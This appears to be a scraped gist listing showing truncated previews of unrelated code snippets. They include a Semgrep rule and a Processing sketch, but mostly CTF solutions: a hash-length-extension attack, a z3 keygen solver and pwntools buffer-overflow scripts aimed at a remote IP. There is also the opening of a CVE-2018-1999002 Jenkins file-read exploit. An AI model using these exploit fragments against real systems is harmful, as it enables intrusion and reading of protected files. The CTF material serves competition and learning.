This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
rules: | |
- id: i-messed-up-my-markdown-links | |
languages: [generic] | |
severity: WARNING | |
message: i-messed-up-my-markdown-links | |
patterns: | |
- pattern: | | |
($...A)[$...B] | |
fix: | | |
[$...A]($...B) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package challenge1 | |
default correct_flag = false | |
mycorize(s) := replace(replace(s, "o", "0"), "i", "y") | |
correct_flag { | |
words := ["champ", "mycoverse", "exo", "meta", "cyber", "block", "chain", "life"] | |
parts := split(input.flag, "-") | |
parts[1] == mycorize(words[x]) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
void setup() { | |
size(500, 500); | |
stroke(0); | |
noStroke(); | |
} | |
void draw() { | |
background(#3C5E84); | |
float r = frameCount / 33.0; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import requests | |
import sys | |
import os | |
PLUGIN = 'credentials' | |
BACKDIR_COUNT = 10 | |
if len(sys.argv) != 3: | |
print 'usage:\n\tpython CVE-2018-1999002.py [jenkins base url] [absolute file path]' | |
print '' |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import requests | |
from hashpumpy import hashpump | |
url = 'http://wawacoin.challs.malice.fr/manager' | |
data = '757365723d64656d6f'.decode('hex') | |
signature = '9183ff6055a46981f2f71cd36430ed3d9cbf6861' | |
(m2_s, m2) = hashpump(signature, data, "&user=admin", 16) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import cv2 | |
import numpy as np | |
import os | |
import subprocess | |
# Download the current frame | |
os.system("curl https://security-cctv.dctf-f1nals-2017.def.camp/img/streamframe.png > out.png") | |
# Find the homography for the QR code displayed on the phone to a 200x200 image | |
# These are the coordinates of the corners of the QR code on the image |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from z3 import * | |
def C03011(Qml5): | |
C12d =0 | |
for Po4M in Qml5: | |
C12d = (31 * C12d + (Po4M)) & 0xFFFFFFFF | |
return ((C12d + 0x80000000) & 0xFFFFFFFF) - 0X80000000 | |
username = [BitVec('u' + str(i), 32) for i in range(6)] |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python2 | |
from pwn import * | |
context.log_level = 'debug' | |
context.arch = 'amd64' | |
host = "54.153.19.139" | |
port = 5255 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from pwn import * | |
context.arch = 'amd64' | |
elf = ELF('./pwn150') | |
# p = process('tee i | ./pwn150', shell=True) | |
p = remote("54.153.19.139", 5253) | |
offset = 88 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from pwn import * | |
# p = process('tee i | ./pwn100', shell=True) | |
p = remote("54.153.19.139",5251) | |
calleax = 0x08048386 | |
payload = asm("jmp $+32") | |
payload = payload.ljust(32 - 4) | |
payload += p32(calleax) |
NewerOlder